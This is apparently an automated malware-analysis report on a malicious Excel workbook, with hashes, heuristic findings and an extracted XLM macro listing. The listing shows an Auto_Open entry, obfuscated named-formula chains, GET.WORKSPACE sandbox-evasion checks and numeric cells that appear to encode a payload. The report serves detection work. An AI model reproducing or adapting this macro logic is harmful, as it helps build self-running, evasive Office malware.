Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 00025c8e9db72ea8…

MALICIOUS

Office (OLE)

54.0 KB Created: 2020-10-28 08:15:02 Authoring application: Microsoft Excel First seen: 2021-02-20
MD5: d70e446fd9e2bcd1ffe03b75edb81a0e SHA-1: 9cf60d7ffe55b25c5df4712509a3990b8d2a3d86 SHA-256: 00025c8e9db72ea82f1e9697b090e9e5c7ae7dd0c6ec0e32a66580f9268767f4
180 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • XLM Auto_Open environment-evasion HALT gate high OLE_XLM_ENVIRONMENT_EVASION_HALT
    Excel 4.0 macro sheet auto-executes multiple GET.WORKSPACE / GET.WINDOW environment checks and halts execution when the host does not match the expected user environment. This is a common sandbox-evasion pattern in XLM malware and is stronger than a bare XLM macro-sheet indicator.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 17123 bytes
SHA-256: 4a4fc0ac8526295c83cdd845602967c8073ebf09cc20a5e658808a64058f7beb
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  lpSuavYlBR
' 0018     23 LABEL : Cell Value, String Constant - ArhTIEdR len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A285 
' 0018     27 LABEL : Cell Value, String Constant - CxHqUYqLKcYx len=0 
' 0018     21 LABEL : Cell Value, String Constant - ddBJIZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - dWPinkz len=0 
' 0018     27 LABEL : Cell Value, String Constant - EwzziloSXYIJ len=0 
' 0018     26 LABEL : Cell Value, String Constant - fXtvrRXhxnY len=0 
' 0018     27 LABEL : Cell Value, String Constant - hvbdhCAKvKIG len=0 
' 0018     26 LABEL : Cell Value, String Constant - IfUhEOZDsqS len=0 
' 0018     22 LABEL : Cell Value, String Constant - iKQmODU len=0 
' 0018     21 LABEL : Cell Value, String Constant - JgInZj len=0 
' 0018     26 LABEL : Cell Value, String Constant - jHurkuoLmLd len=0 
' 0018     24 LABEL : Cell Value, String Constant - KlhaJEOEF len=0 
' 0018     23 LABEL : Cell Value, String Constant - mhhIVHhW len=0 
' 0018     24 LABEL : Cell Value, String Constant - OQngRgdfZ len=0 
' 0018     27 LABEL : Cell Value, String Constant - pQiUxeDamscS len=0 
' 0018     22 LABEL : Cell Value, String Constant - pRJtYzh len=0 
' 0018     23 LABEL : Cell Value, String Constant - pWVOkPRZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - QQAZWAV len=0 
' 0018     23 LABEL : Cell Value, String Constant - qVcBjYYX len=0 
' 0018     25 LABEL : Cell Value, String Constant - ROoJOwlPhG len=0 
' 0018     25 LABEL : Cell Value, String Constant - syyXgegQSi len=0 
' 0018     24 LABEL : Cell Value, String Constant - SzsicgAlN len=0 
' 0018     23 LABEL : Cell Value, String Constant - xNdIcNCl len=0 
' 0018     22 LABEL : Cell Value, String Constant - yMUwwWH len=0 
' 0018     20 LABEL : Cell Value, String Constant - ywqfy len=0 
' 0018     20 LABEL : Cell Value, String Constant - zyajS len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  lpSuavYlBR,A193,"SET.NAME("mhhIVHhW",0+INT(FALSE))",""
'  lpSuavYlBR,A196,"SET.NAME("syyXgegQSi",mhhIVHhW)",""
'  lpSuavYlBR,A198,"SET.NAME("ddBJIZ",mhhIVHhW)",""
'  lpSuavYlBR,A202,"SET.NAME("EwzziloSXYIJ",ROWS(zyajS))",""
'  lpSuavYlBR,A207,"SET.NAME("xNdIcNCl",ROWS(fXtvrRXhxnY))",""
'  lpSuavYlBR,A209,syyXgegQSi,""
'  lpSuavYlBR,A213,"SET.NAME("jHurkuoLmLd","")",""
'  lpSuavYlBR,A217,"syyXgegQSi",""
'  lpSuavYlBR,A221,"['"qVcBjYYX"', 'zyajS']",""
'  lpSuavYlBR,A226,"KlhaJEOEF",""
'  lpSuavYlBR,A228,"SET.NAME("JgInZj",mhhIVHhW)",""
'  lpSuavYlBR,A233,[],""
'  lpSuavYlBR,A237,"JgInZj",""
'  lpSuavYlBR,A242,"pQiUxeDamscS",""
'  lpSuavYlBR,A246,"OQngRgdfZ",""
'  lpSuavYlBR,A250,"hvbdhCAKvKIG",""
'  lpSuavYlBR,A255,"['"ROoJOwlPhG"', 'fXtvrRXhxnY']",""
'  lpSuavYlBR,A258,"yMUwwWH",""
'  lpSuavYlBR,A260,"jHurkuoLmLd",""
'  lpSuavYlBR,A262,"ddBJIZ",""
'  lpSuavYlBR,A265,NEXT(),""
'  lpSuavYlBR,A269,"QQAZWAV",""
'  lpSuavYlBR,A272,[],""
'  lpSuavYlBR,A274,"iKQmODU",""
'  lpSuavYlBR,A278,NEXT(),""
'  lpSuavYlBR,A280,RETURN(),""
'  lpSuavYlBR,A285,"SET.NAME("dWPinkz",APP.MAXIMIZE())",""
'  lpSuavYlBR,A287,"SET.NAME("IfUhEOZDsqS",GET.WORKSPACE(13)>770)",""
'  lpSuavYlBR,A290,"SET.NAME("pRJtYzh",GET.WORKSPACE(14)>390)",""
'  lpSuavYlBR,A294,"SET.NAME("ywqfy",GET.WORKSPACE(42))",""
'  lpSuavYlBR,A298,"SET.NAME("SzsicgAlN",GET.WORKSPACE(31)=FALSE)",""
'  lpSuavYlBR,A302,"SET.NAME("ArhTIEdR",GET.WORKSPACE(19))",""
'  lpSuavYlBR,A306,"IF(AND(dWPinkz,IfUhEOZDsqS,pRJtYzh,ywqfy,SzsicgAlN,ArhTIEdR),,HALT())",""
'  lpSuavYlBR,A309,"SET.NAME("pWVOkPRZ",A193)",""
'  lpSuavYlBR,A313,"SET.NAME("zyajS",R650C5)",""
'  lpSuavYlBR,A315,"SET.NAME("fXtvrRXhxnY",R1620C5)",""
'  lpSuavYlBR,A317,"SET.NAME("iKQmODU",328)",""
'  lpSuavYlBR,A322,"SET.NAME("CxHqUYqLKcYx",1)",""
'  lpSuavYlBR,A327,pWVOkPRZ(),""
'  lpSuavYlBR,A377,"SET.NAME("zyajS",R1117C4)",""
'  lpSuavYlBR,A380,"SET.NAME("fXtvrRXhxnY",R1828C8)",""
'  lpSuavYlBR,A382,"SET.NAME("iKQmODU",387)",""
'  lpSuavYlBR,A384,"SET.NAME("CxHqUYqLKcYx",1)",""
'  lpSuavYlBR,A386,pWVOkPRZ(),""
'  lpSuavYlBR,A439,HALT(),""
'  lpSuavYlBR,E1620,"",105.00000000000000000000
'  lpSuavYlBR,E1621,"",132.00000000000000000000
'  lpSuavYlBR,E1622,"",110.00000000000000000000
'  lpSuavYlBR,E1623,"",112.00000000000000000000
'  lpSuavYlBR,E1624,"",123.00000000000000000000
'  lpSuavYlBR,E1625,"",103.00000000000000000000
'  lpSuavYlBR,E1626,"",102.00000000000000000000
'  lpSuavYlBR,E1627,"",118.00000000000000000000
'  lpSuavYlBR,E1628,"",113.00000000000000000000
'  lpSuavYlBR,E1629,"",112.00000000000000000000
'  lpSuavYlBR,H1828,"",-423.00000000000000000000
'  lpSuavYlBR,H1829,"",-97.00000000000000000000
'  lpSuavYlBR,H1830,"",475.00000000000000000000
'  lpSuavYlBR,H1831,"",189.00000000000000000000
'  lpSuavYlBR,H1832,"",-652.00000000000000000000
'  lpSuavYlBR,H1833,"",-367.00000000000000000000

Open this report in the interactive analyzer, or submit your own file for analysis.